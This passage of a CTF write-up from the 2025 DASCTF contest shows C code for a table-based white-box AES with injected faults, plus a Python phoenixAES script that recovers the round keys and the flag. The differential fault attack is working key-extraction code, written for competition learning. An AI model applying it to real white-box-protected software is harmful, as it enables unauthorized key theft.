a = (a << 1) ^ 0x1b;
else
a <<= 1;
b >>= 1;
}
return p & 0xFF;
}

void shiftRows(u8 state[16]) {
u8 tmp = state[1];
state[1] = state[5];
state[5] = state[9];
state[9] = state[13];
state[13] = tmp;
tmp = state[2];
state[2] = state[10];
state[10] = tmp;
tmp = state[6];
state[6] = state[14];
state[14] = tmp;
tmp = state[15];
state[15] = state[11];
state[11] = state[7];
state[7] = state[3];
state[3] = tmp;
}
void add_round_shiftkey(u8 state[16], u32 expandedKey[4]) {
for (int i = 0; i < 4; i++)
for (int j = 0; j < 4; j++)
state[i * 4 + j] ^= (expandedKey[(j + i) % 4] >> (24 - 8 * j)) & 0xFF;
}
void add_round_key(u8 state[16], u32 expandedKey[4]) {
for (int i = 0; i < 4; i++)
for (int j = 0; j < 4; j++)
state[i * 4 + j] ^= (expandedKey[i] >> (24 - 8 * j)) & 0xFF;
}

void getXorTable(u8 table[16][16]) {
for (int i = 0; i < 16; i++)
for (int j = 0; j < 16; j++)
table[i][j] = i ^ j;
}
void getTyiTable(u8 table[4][256][4]) {
for (int i = 0; i < 256; i++) {
table[0][i][0] = gmul(i, 0x02);
table[0][i][1] = gmul(i, 0x03);
table[0][i][2] = i;
table[0][i][3] = i;
table[1][i][0] = i;
table[1][i][1] = gmul(i, 0x02);
table[1][i][2] = gmul(i, 0x03);
table[1][i][3] = i;
table[2][i][0] = i;
table[2][i][1] = i;
table[2][i][2] = gmul(i, 0x02);
table[2][i][3] = gmul(i, 0x03);
table[3][i][0] = gmul(i, 0x03);
table[3][i][1] = i;
table[3][i][2] = i;
table[3][i][3] = gmul(i, 0x02);
}
}
void getTyiBox(u8 tbox[10][16][256], u32 tyibox[9][16][256]) {
u8 tyitable[4][256][4] = {0};
getTyiTable(tyitable);
for (int r = 0; r < 9; r++)
for (int x = 0; x < 256; x++)
for (int j = 0; j < 4; j++)
for (int i = 0; i < 4; i++) {
u32 v0 = tyitable[0][tbox[r][j * 4 + i][x]][i];
u32 v1 = tyitable[1][tbox[r][j * 4 + i][x]][i];
u32 v2 = tyitable[2][tbox[r][j * 4 + i][x]][i];
u32 v3 = tyitable[3][tbox[r][j * 4 + i][x]][i];
tyibox[r][j * 4 + i][x] = (v0 << 24) | (v1 << 16) | (v2 << 8) | v3;
}
}
u32 tyibox[10][16][256] = {...}; //太长略去

u8 tbox[16][256] = {...};

int index = 0;

void aes_encrypt_by_table(u8 input[16], int isDFA) {

u32 a, b, c, d, aa, bb, cc, dd;
u8 xortable[16][16] = {0};


getXorTable(xortable);

for (int i = 0; i < 9; i++) {
if (isDFA && i == 8 ) {
srand(index);
input[index] = rand() % 256;
}
shiftRows(input);

for (int j = 0; j < 4; j++) {
a = tyibox[i][4 * j + 0][input[4 * j + 0]];
b = tyibox[i][4 * j + 1][input[4 * j + 1]];
c = tyibox[i][4 * j + 2][input[4 * j + 2]];
d = tyibox[i][4 * j + 3][input[4 * j + 3]];
aa = xortable[(a >> 28) & 0xf][(b >> 28) & 0xf];
bb = xortable[(c >> 28) & 0xf][(d >> 28) & 0xf];
cc = xortable[(a >> 24) & 0xf][(b >> 24) & 0xf];
dd = xortable[(c >> 24) & 0xf][(d >> 24) & 0xf];
input[4 * j + 0] = ((aa ^ bb) << 4) | (cc ^ dd);
aa = xortable[(a >> 20) & 0xf][(b >> 20) & 0xf];
bb = xortable[(c >> 20) & 0xf][(d >> 20) & 0xf];
cc = xortable[(a >> 16) & 0xf][(b >> 16) & 0xf];
dd = xortable[(c >> 16) & 0xf][(d >> 16) & 0xf];
input[4 * j + 1] = ((aa ^ bb) << 4) | (cc ^ dd);
aa = xortable[(a >> 12) & 0xf][(b >> 12) & 0xf];
bb = xortable[(c >> 12) & 0xf][(d >> 12) & 0xf];
cc = xortable[(a >> 8) & 0xf][(b >> 8) & 0xf];
dd = xortable[(c >> 8) & 0xf][(d >> 8) & 0xf];
input[4 * j + 2] = ((aa ^ bb) << 4) | (cc ^ dd);
aa = xortable[(a >> 4) & 0xf][(b >> 4) & 0xf];
bb = xortable[(c >> 4) & 0xf][(d >> 4) & 0xf];
cc = xortable[a & 0xf][b & 0xf];
dd = xortable[c & 0xf][d & 0xf];
input[4 * j + 3] = ((aa ^ bb) << 4) | (cc ^ dd);
}
}
shiftRows(input);
for (int j = 0; j < 16; j++) {
input[j] = tbox[j][input[j]];
}
}

int main() {
unsigned char input1[17] = {0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33};
aes_encrypt_by_table(input1, 0);
for (int i = 0 ; i < 16 ; i ++ ) {
printf("%02x", input1[i]);
}
puts("");
for (int j = 0 ; j < 16 ; j ++ ) {
unsigned char input[17] = {0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33};
aes_encrypt_by_table(input, 1);

for (int i = 0 ; i < 16 ; i ++ ) {
printf("%02x", input[i]);
}
puts("");

index++;
}
}

得到故障数据,用phoneixAES生成轮密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
import phoenixAES

with open('tracefile', 'wb') as t:
t.write("""
db997e69af7daf43bfadaa94bc68bbef
9b997e69af7daf52bfad4494bc64bbef
db997e93af7d2043bf20aa94a968bbef
db99de69af8aaf43bbadaa94bc68bbfc
db237e69417daf43bfadaa8cbc68c7ef
dbef7e69ef7daf43bfadaac5bc6822ef
b8997e69af7dafd3bfadbc94bc56bbef
db997e69af7daf43bfadaa94bc68bbef
db99f569af4aaf43deadaa94bc68bbf4
db99d669afcaaf43ebadaa94bc68bb00
db4b7e69c07daf43bfadaa86bc68bdef
c0997e69af7dafdcbfad5a94bc03bbef
db997e5baf7d5a43bf22aa943b68bbef
db997ed4af7da743bfc3aa941068bbef
db995969af5aaf437aadaa94bc68bb5f
db057e697a7daf43bfadaa6cbc684cef
a2997e69af7dafd8bfad6694bc18bbef
""".encode('utf8'))

print(phoenixAES.crack_file('tracefile'))
# Last round key #N found:
# 040D08DA68001026F3DC0D68897148B4

sus求解第一轮密钥:

img

44306E5175317830746535616E636830——D0nQu1x0te5anch0

img

得到flag为DASCTF{FALLEN_FLOWERS_FADE_NONE_CARES}

2025 DASCTF上半年赛 SU WriteUp

https://team-su.github.io/posts/25004.html

Author

SUers

Posted on

2025-06-21

Updated on

2025-07-13

Licensed under